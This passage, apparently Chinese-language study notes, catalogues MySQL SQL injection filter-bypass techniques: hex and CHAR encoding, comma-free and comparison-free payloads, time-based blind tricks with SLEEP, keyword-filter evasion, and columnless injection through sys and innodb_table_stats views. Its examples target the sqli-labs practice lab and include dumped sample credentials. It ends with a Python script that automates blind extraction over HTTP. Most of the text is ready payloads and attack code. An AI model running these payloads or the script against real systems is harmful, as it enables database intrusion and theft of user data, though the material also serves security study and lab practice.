  3. 实际解析为:id='1\' AND passwd=' 作为整个字符串

  4. UNION SELECT 1,2,3-- 成为 SQL 代码执行

这个原理很妙的 感觉有一种自己杀自己的感觉

三、十六进制编码绕过引号
1. 原理

MySQL 支持十六进制字符串表示:

  • 0x61646D696E = ‘admin’

  • X'61646D696E' = ‘admin’

2. 转换方法

Python 转换示例:

1
2
text = "admin"
hex_str = "0x" + text.encode().hex() # 0x61646D696E

常用值:

  • database() → 可先查出库名再转换

  • 字符串值都可用十六进制替代

3. 注入应用

原 Payload:

1
' union select 1,table_name from information_schema.tables where table_schema=database() -- 

绕过后:

1
2

' union select 1,table_name from information_schema.tables where table_schema=0x746573746462 --

CHAR() 函数替代:

1
2

' union select 1,table_name from information_schema.tables where table_schema=CHAR(116,101,115,116,100,98) --

过滤逗号

使用join

1
-1'union select 1,2,3--+ 

可以写成

1
-1'union (select * from(select 1)a join (select 2)b join (select 3)c)--+

盲注常用的 substring() substr() mid() 中,
会用到逗号 可以使用 from for 代替:

1
2
3
SELECT SUBSTRING(DATABASE() FROM 1 FOR 1);  
SELECT SUBSTR(DATABASE() FROM 1 FOR 1);
SELECT MID(DATABASE() FROM 1 FOR 1);

limit语法也要用到逗号,可以用offset代替

1
2
3
SELECT * FROM users LIMIT 1 OFFSET 0;

SELECT * FROM users LIMIT 0,1;

盲注中也可以使用模糊查询的方法来避免使用逗号:

1
2
3
4
5
6
7
8
9
10
SELECT DATABASE() LIKE 's%'
-- 可以用来检查数据库名是否以's'开头
-- 类似效果的检查还有:
-- SELECT SUBSTRING(DATABASE(), 1, 1) = 's'
-- SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) = 115
s% 是一个模式字符串,其中 % 是通配符
% 表示任意数量的字符(包括零个字符)
s% 匹配所有以 s 开头的字符串,不论其后有多少字符
*/
这样就可以一个一个字母试了

LIKE 支持以下通配符:

  • %:匹配零个或多个字符。
  • _:匹配单个字符。
1
2
3
4
LIKE 'u%':匹配以 u 开头的所有字符串。  
LIKE '%123':匹配以 123 结尾的所有字符串。
LIKE '_b%':匹配第二个字符是 b 的所有字符串(如 ab123、cb_test)。
LIKE 't__t':匹配 t 开头、接两个字符、然后是 t 的字符串(如 test)

过滤比较符

过滤><=,可以使用greatest()least()函数。 当然= 分别返回最大值和最小值

1
2
3
4
select greatest(1,2,3,5,7,9);
返回9
select least(1,2,3,5,7,9);
返回1

也可以直接用like代替
– 检查是否等于’s’

1
2
3
4
5
DATABASE() LIKE 's%' AND DATABASE() NOT LIKE 't%'  -- 以s开头且不以t开头
SUBSTR(DATABASE(),1,1) LIKE 's' -- 直接匹配单个字符

-- 在注入中
' OR SUBSTR(DATABASE(),1,1) LIKE 's' --

也可以用between a and b表示在a和b之间。 例如

1
-1' or substr((select database()),1,1) between 'r' and 't'--+

利用between也可以绕过等号

1
2
3
-1' or substr((select database()),1,1) between 's' and 's'--+
等价于
-1' or substr((select database()),1,1)='s'--+

rlike判断某个字段的值是否匹配指定的正则表达式,
它是regexp的同义词
regexp匹配字符串中是否包含符合正则规则的部分,
默认不区分大小写, 如果需要区分,可以使用binary:

1
2
3
4
5
6
7
8
9
-- 精确匹配单个字符's'
SUBSTR(DATABASE(),1,1) REGEXP '^s$' -- 以s开始并以s结束(单个字符)
DATABASE() REGEXP '^s' -- 以s开头

-- 匹配特定ASCII值(通过字符集)
SUBSTR(DATABASE(),1,1) REGEXP BINARY '[\x73]' -- 16进制73 = 's'

-- 在注入中
' OR SUBSTR(DATABASE(),1,1) REGEXP '^s$' --

函数strcmp(str1,str2)

1
2
3
str1 = str2 -> 0
str1 < str2 -> -1
str1 > str2 -> 1

可以用in语法。 用于判断某个值是否在指定集合中的条件操作符:

1
2
3
4
5
6
7
-- 检查是否在集合中
SUBSTR(DATABASE(),1,1) IN ('s') -- 单个元素集合
ASCII(SUBSTR(DATABASE(),1,1)) IN (115) -- 检查ASCII值

-- 在注入中
' OR SUBSTR(DATABASE(),1,1) IN ('s') --
' OR ASCII(SUBSTR(DATABASE(),1,1)) IN (115) --

INSTR()/LOCATE()/POSITION()

1
2
3
4
5
6
7
8
-- 检查是否包含(位置为1表示开头)
INSTR(DATABASE(), 's') -- 返回位置,0表示不存在
LOCATE('s', DATABASE()) -- 同上
POSITION('s' IN DATABASE()) -- 同上

-- 在注入中(使用双重否定)
' OR INSTR(SUBSTR(DATABASE(),1,1), 's') --
' OR LOCATE('s', SUBSTR(DATABASE(),1,1)) --

STRCMP() 的布尔化

1
2
3
4
5
-- STRCMP返回-1,0,1,需要转换为布尔值
NOT STRCMP(SUBSTR(DATABASE(),1,1), 's') -- 返回1(真)当相等

-- 因为STRCMP相等时返回0,NOT 0 = 1
' OR NOT STRCMP(SUBSTR(DATABASE(),1,1), 's') --

<>表示不等于

1
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))<>114;

过滤逻辑运算符

1
2
3
4
and &&
or ||
not !
xor |

过滤if

逻辑中断or || 只需一个表达式为真,整个表达式就为真。
那么很多时候程序只判断到前一个表达式为真时,
就忽略后一个表达式不执行,MySQL就具备这个特性。
可以利用它达到条件判断的效果:

1
2
3
4
5
6
-- 假设 database 为 "security"  
-- 它不会执行 SLEEP,因为前一个表达式为真
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115 || SLEEP(1);

-- 它会执行 SLEEP,因为前一个表达式为假,程序还需要判断后一个表达式才能确定整个表达式的值
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=114 || SLEEP(1);

使用locate(str1,str2) 比较输入的两个字符串, 第一个参数是参照物,第二个参数是参照对象,
该函数会判断参照对象中是否含有参照物,
若不含有,则返回 0;
若含有,则返回该参照物在参照对象中的位置

CASE WHEN 的更多用法

  1. 复杂条件判断
1
2
3
4
5
6
7
8
9
-- 多条件嵌套
SELECT CASE
WHEN ASCII(SUBSTR(DATABASE(),1,1)) BETWEEN 97 AND 122 THEN 'lower'
WHEN ASCII(SUBSTR(DATABASE(),1,1)) BETWEEN 65 AND 90 THEN 'upper'
ELSE 'other'
END;

-- 在注入中
' OR (CASE WHEN ASCII(SUBSTR(DATABASE(),1,1))=115 THEN 1 ELSE 0 END)=1 --
  1. 结合子查询
1
2
3
4
5
6
7
8
9
10
11
-- 判断表是否存在
SELECT CASE WHEN EXISTS(
SELECT * FROM information_schema.tables
WHERE table_schema=DATABASE() AND table_name='users'
) THEN 1 ELSE 0 END;

-- 判断列是否存在
' OR (CASE WHEN EXISTS(
SELECT * FROM information_schema.columns
WHERE table_name='users' AND column_name='password'
) THEN 1 ELSE 0 END)=1 --

elt(N, str1, str2, ..., strN)
从一个字符串列表中返回对应位置的字符串
假设有一张表 my_table,
包含字段 id 和 category,
我们希望根据 category 的值返回对应字符串:

1
2
3
SELECT id, ELT(category, 'Electronics', 'Books', 'Clothing')
AS category_name
FROM my_table;

如果 category 的值为 1、2 或 3,
分别返回 Electronics、Books、Clothing 这个函数同样可以用在盲注中,
逻辑运算往往会返回 0 或 1,
也就是说可以让条件为真时,
执行elt函数第二个参数的表达式

1
2
-- 条件为真时会睡 3 秒  
SELECT ELT((LENGTH(DATABASE())>3), SLEEP(3));

FIELD() 函数替代

1
2
3
4
5
6
7
8
-- FIELD返回值在列表中的位置(从1开始),不存在则返回0
SELECT FIELD(ASCII(SUBSTR(DATABASE(),1,1)), 115); -- 等于115返回1

-- 转换为布尔值
SELECT FIELD(ASCII(SUBSTR(DATABASE(),1,1)), 115) > 0;

-- 在注入中
' OR FIELD(ASCII(SUBSTR(DATABASE(),1,1)), 115) --

MAKE_SET() 函数

1
2
3
4
5
6
7
8
9
-- MAKE_SET返回集合,位掩码选择哪些值
SELECT MAKE_SET(
ASCII(SUBSTR(DATABASE(),1,1))-114, -- 位掩码
'no', 'yes' -- 值列表
);

-- 当ASCII=115时,掩码=1,返回'yes'
-- 在注入中
' OR MAKE_SET((ASCII(SUBSTR(DATABASE(),1,1))=115), 0, SLEEP(3)) --

COALESCE() 和 NULLIF() 组合

1
2
3
4
5
6
7
8
9
-- 利用NULL值
SELECT COALESCE(
NULLIF(ASCII(SUBSTR(DATABASE(),1,1)), 115),
SLEEP(3) -- 如果相等则执行
);

-- 解释:NULLIF相等返回NULL,COALESCE返回第一个非NULL值
-- 在注入中
' OR COALESCE(NULLIF(ASCII(SUBSTR(DATABASE(),1,1)), 115), SLEEP(3)) --

过滤关键字

如果单纯替换为空,就双写绕过

1
select -> selselectect

如果过滤不区分大小写,就用随便换

1
select -> SELECT -> sElEct

如果过滤关键词组合union select可以改用union all select 或者结合内联注释构造: /*!UNION*/SELECT UNION/**/SELECT
或者插入其他可代替空格的符号

过滤information_schema

information_schema,它是一个系统数据库,存储了MySQL服务器中所有其他数据库的元数据信息。提供对数据库、表、列、索引等元数据的访问,帮助我们了解数据库结构。很幸运在mysql 5.7以后新增了schema_auto_increment_columns这个视图去保存所有表中含有自增字段的信息。不仅保存了库名、表名还保存了自增字段的列名 先看一下有哪些库

1
2
3
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

information_schema,challenges,mysql,performance_schema,security,sys,upload-labs

这里的sys下有一个sys.schema_auto_increment_columns 当我们利用database()函数获得数据库名之后,可以利用这个视图去获得表名和列名

1
2
select table_name,column_name from sys.schema_auto_increment_columns where table_schema = "security";
-1' union select 1,2,group_concat(table_name,column_name) from sys.schema_auto_increment_columns where table_schema='security'--+

这样可以直接获得表名和列名。

1
2
3
4
5
6
7
8
+------------+-------------+
| table_name | column_name |
+------------+-------------+
| uagents | id |
| referers | id |
| users | id |
| emails | id |
+------------+-------------+

还可以利用schema_table_statistics 而对于没有自增列的表名,这个视图是无法获取的。这个时候我们可以通过统计信息视图获得表名 schema_table_statistics_with_buffer schema_table_statistics

1
2
3
select table_name from sys.schema_table_statistics_with_buffer where table_schema = "security";
select table_name from sys.schema_table_statistics where table_schema = "security";
-1' union select 1,2,group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema='security'--+

但是这个好像只可以查表名,不可以查列名。 会报错ERROR 1054 (42S22): Unknown column 'column_name' in 'field list' 但还有办法获得列名,这里就需要用到无列名注入。

join…using

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-1' union all select * from (select * from users as a join users as b)as c--+
回显Duplicate column name 'id'
这个报错 `Duplicate column name 'id'` 是因为在 `JOIN` 查询中没有指定具体的列,导致结果集中出现了两个同名的 `id` 列(一个来自表 `a`,一个来自表 `b`)。数据库在尝试创建派生表 `c` 时,由于无法处理重复的列名,直接把冲突的列名吐了出来。
-1' union select * from (select * from users as a join users as b using(id,username,password))as c--+
select * from users where id='0' union all select * from (select * from users as a join users as b)as c;
select * from users where id='0' union all select * from (select * from users as a join users as b using(id,username,password))as c;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+

-- 基础原理
SELECT * FROM users AS a JOIN users AS b; -- 报错:Duplicate column name 'id'

-- 获取所有列名
SELECT * FROM users AS a JOIN users AS b USING(id);
-- 如果成功,说明只有id列
-- 如果报错,说明还有其他列,继续尝试...

SELECT * FROM users AS a JOIN users AS b USING(id, username);
-- 直到不报错,就得到了所有列名

-- 自动化方法
' UNION SELECT * FROM (SELECT * FROM users AS a JOIN users AS b) AS c --
-- 通过错误信息获得列名

order by盲注 order by用于根据指定的列对结果集进行排序。一般上是从0-9、a-z排序,不区分大小写。

1
2
3
 select * from users where id='1' union select 1,2,'c' order by 3;
select * from users where id='1' union select 1,2,'d' order by 3;
select * from users where id='1' union select 1,2,'e' order by 3;

其中

1
2
3
4
5
6
7
8
1' union select 1,2,'d' order by 3--+
回显
Your Login name:2
Your Password:d
1' union select 1,2,'e' order by 3--+
回显
Your Login name:Dumb
Your Password:Dumb

测的值大于当前值时,会返回原来的数据即这里看第二列返回是否正常的username,否则会返回猜测的值。 子查询 子查询也能用于无列名注入,主要是结合union select联合查询构造列名再放到子查询中实现。 使用如下union联合查询,可以给当前整个查询的列分别赋予1、2、3的名字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
-- 1. 正常查询(假设不知道列名)
SELECT * FROM users WHERE id = 1;

-- 2. 注入创建虚拟列名
SELECT 1,2,3 UNION SELECT * FROM users;

-- 结果:
-- +---+-------+---------+
-- | 1 | 2 | 3 |
-- +---+-------+---------+
-- | 1 | 2 | 3 |
-- | 1 | admin | pass123 |
-- | 2 | user1 | abc123 |
-- | 3 | user2 | def456 |
-- +---+-------+---------+

-- 3. 通过子查询提取具体列
SELECT `2` FROM (
SELECT 1,2,3 UNION SELECT * FROM users
) AS x;

-- 结果:
-- +-------+
-- | 2 |
-- +-------+
-- | 2 |
-- | admin |
-- | user1 |
-- | user2 |
-- +-------+

过滤注释符

常见注释符

1
/**/ --+ # /*!*/

可以平衡引号 例如sql-labs第23关,

1
2
id=1' or '1'='1
id=1' '

注入查询语句

1
2
-1' union select 1,2,database() '
-1' union select 1,database(),3 or '1'='1

%00截断

1
-1' union select 1,database(),3;%00

但这也只有老版本的php可以用了。从php5.3.4开始就基本不可以用了 改变闭合方式避免语法错误

1
SELECT id FROM users WHERE username='' AND passwd='' LIMIT 0,1;

发送payload

1
username=admin'OR&passwd=OR'

拼接后变成

1
SELECT id FROM users WHERE username='admin'OR' AND passwd='OR'' LIMIT 0,1;

编码绕过

1
2
3
-- SELECT username FROM users;
SELECT char(117,115,101,114,110,97,109,101) FROM users;
SELECT 0x757365726e616d65 FROM users;

花括号语法

1
2
{任意字母开头的标识符 有效的SQL语句}
SELECT {a DATABASE()};

花括号左边是注释(左边可以是任意字母,但不能是数字),
右边是查询语句的一部分
这个用的场景比较少啊 我自己想只能想到一些特定的WAF还有正则 记一下 还是挺特殊的

无列名注入

通常情况是columns被ban了或者information被ban了 等读取不到列名的情况 上面提到了用sys的一些库可以获取表名,但是sys库需要root权限才能访问。innodb在mysql中是默认关闭的。

InnoDb

从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名

1
2
mysql.innodb_table_stats
mysql.innodb_index_stats

可以用来代替information_schema.tables查表名 例如

1
-1' union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_name='security'--+

sys

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名

1
2
3
schema_table_statistics_with_buffer
schema_table_statistics
schema_auto_increment_columns

设置别名来绕过列名

union可以构造一个虚拟表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
select 1,2,3 union select * from users; 
+----+----------+------------+
| 1 | 2 | 3 |
+----+----------+------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
select 字段数要和tables数一样
后面用
select `3` from (select 1,2,3 union select * from users)x;
x不可以省略,这是别名

如果反引号被过滤了,可以设置别名 as可以省略

1
select b from (select 1 a,2 b,3 c union select * from users)x;

通过assic位移无列名注入

首先可以通过类似这样的语句爆出字段数
(select 1,2,3) > (select *from teacher)
字段数相等会返回1,不相等则会报错 然后通过比较ascii大小爆数据。 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import time

def ascii_tuple_blind_injection(url, table_name, columns_count):
"""
通过ASCII位移进行无列名注入
"""
result = ""

# 假设我们提取第一行第一列的数据
for position in range(1, 100): # 位置从1开始
low, high = 32, 126 # ASCII范围

while low <= high:
mid = (low + high) // 2

# 构造元组,假设要提取的列在第二个位置
# (1, '猜测的字符串', 3, ...) 根据列数调整
if columns_count == 2:
payload = f"(1,'{result + chr(mid)}')"
elif columns_count == 3:
payload = f"(1,'{result + chr(mid)}',1)"
# ... 根据实际列数构造

# 完整的注入payload
sql = f"2||({payload}>(select * from {table_name} limit 1))"

data = {'id': sql}
response = requests.post(url, data=data)

if "错误标志" in response.text: # 根据实际响应调整
# 猜测值 > 实际值,实际值在左半区
high = mid - 1
else:
# 猜测值 <= 实际值,实际值在右半区
low = mid + 1

# 找到实际字符
actual_char = chr(low - 1) if low > 32 else ''
if not actual_char or actual_char == chr(126):
break # 结束

result += actual_char
print(f"进度: {result}")

return result